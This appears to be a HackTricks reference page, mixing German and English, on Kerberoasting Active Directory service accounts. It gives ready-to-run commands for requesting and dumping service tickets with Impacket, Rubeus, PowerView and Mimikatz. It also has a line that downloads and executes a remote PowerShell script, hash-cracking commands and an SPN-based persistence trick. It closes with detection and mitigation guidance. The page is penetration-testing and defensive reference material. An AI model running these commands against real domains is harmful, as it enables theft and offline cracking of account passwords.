Kerberoast

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Kerberoast

Kerberoasting konzentriert sich auf den Erwerb von TGS-Tickets, insbesondere solchen, die mit Diensten verbunden sind, die unter Benutzerkonten in Active Directory (AD) betrieben werden, ausgenommen Computer-Konten. Die Verschlüsselung dieser Tickets verwendet Schlüssel, die aus Benutzerpasswörtern stammen, was die Möglichkeit des Offline-Credential-Crackings eröffnet. Die Verwendung eines Benutzerkontos als Dienst wird durch eine nicht leere "ServicePrincipalName"-Eigenschaft angezeigt.

Für die Ausführung von Kerberoasting ist ein Domänenkonto erforderlich, das in der Lage ist, TGS-Tickets anzufordern; dieser Prozess erfordert jedoch keine besonderen Berechtigungen, was ihn für jeden mit gültigen Domänenanmeldeinformationen zugänglich macht.

Wichtige Punkte:

  • Kerberoasting zielt auf TGS-Tickets für Benutzerkonto-Dienste innerhalb von AD ab.
  • Tickets, die mit Schlüsseln aus Benutzerpasswörtern verschlüsselt sind, können offline geknackt werden.
  • Ein Dienst wird durch einen ServicePrincipalName identifiziert, der nicht null ist.
  • Keine besonderen Berechtigungen sind erforderlich, nur gültige Domänenanmeldeinformationen.

Angriff

warning

Kerberoasting-Tools fordern typischerweise RC4-Verschlüsselung an, wenn sie den Angriff durchführen und TGS-REQ-Anfragen initiieren. Dies liegt daran, dass RC4 schwächer und einfacher offline mit Tools wie Hashcat zu knacken ist als andere Verschlüsselungsalgorithmen wie AES-128 und AES-256.
RC4 (Typ 23) Hashes beginnen mit $krb5tgs$23$*, während AES-256 (Typ 18) mit $krb5tgs$18$* beginnen.
Außerdem sei vorsichtig, denn Rubeus.exe kerberoast fordert automatisch Tickets über ALLE verwundbaren Konten an, was zu einer Entdeckung führen kann. Finde zuerst kerberoastbare Benutzer mit interessanten Berechtigungen und führe es dann nur über diese aus.

bash

#### **Linux**

Metasploit-Framework

msf> use auxiliary/gather/get_user_spns

Impacket

GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/ -outputfile hashes.kerberoast # Passwort wird abgefragt GetUserSPNs.py -request -dc-ip <DC_IP> -hashes : / -outputfile hashes.kerberoast

kerberoast: https://github.com/skelsec/kerberoast

kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -o kerberoastable # 1. Enumerieren Sie kerberoastable Benutzer kerberoast spnroast 'kerberos+password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Hashes dumpen


Multi-features tools including a dump of kerberoastable users:

ADenum: https://github.com/SecuProject/ADenum

adenum -d <DOMAIN.FULL> -ip <DC_IP> -u -p -c


#### Windows

- **Enumerate Kerberoastable users**

Kerberoastbare Benutzer abrufen

setspn.exe -Q / #Dies ist eine integrierte Binärdatei. Konzentrieren Sie sich auf Benutzerkonten Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats


- **Technique 1: Ask for TGS and dump it from memory**

#TGS im Speicher von einem einzelnen Benutzer abrufen Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Beispiel: MSSQLSvc/mgmt.domain.local

#TGSs für ALLE kerberoastbaren Konten abrufen (PCs eingeschlossen, nicht wirklich klug) setspn.exe -T DOMAIN_NAME.LOCAL -Q / | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#Kerberos-Tickets im Speicher auflisten klist

Sie aus dem Speicher extrahieren

Invoke-Mimikatz -Command '"kerberos::list /export"' #Tickets in den aktuellen Ordner exportieren

Kirbi-Ticket in john umwandeln

python2.7 kirbi2john.py sqldev.kirbi

John in hashcat umwandeln

sed 's/$krb5tgs$(.):(.)/$krb5tgs$23$*\1*$\2/' crack_file > sqldev_tgs_hashcat


- **Technique 2: Automatic tools**

Powerview: Kerberoast-Hash eines Benutzers abrufen

Request-SPNTicket -SPN "" -Format Hashcat #Verwendung von PowerView Ex: MSSQLSvc/mgmt.domain.local

Powerview: Alle Kerberoast-Hashes abrufen

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

Rubeus

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Spezifischer Benutzer .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Admins abrufen

Invoke-Kerberoast

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast


<div class="mdbook-alerts mdbook-alerts-warning">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  warning
</p>


When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.

</div>


### Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi


### Persistence

If you have **enough permissions** over a user you can **make it kerberoastable**:

Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose


You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)

If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:

- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`

### Mitigation

Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:

- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$.Message.split("n")[8] -ne 'krbtgt' -and $_.Message.split("n")[8] -ne '*$' -and $.Message.split("n")[3] -notlike '*$@*' -and $_.Message.split("n")[18] -like '0x0' -and $_.Message.split("`n")[17] -like "0x17"} | select ExpandProperty message


To mitigate the risk of Kerberoasting:

- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.

By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.

## Kerberoast w/o domain account

In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).

The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).

<div class="mdbook-alerts mdbook-alerts-warning">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  warning
</p>


You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

</div>


#### Linux

- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/


#### Windows

- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"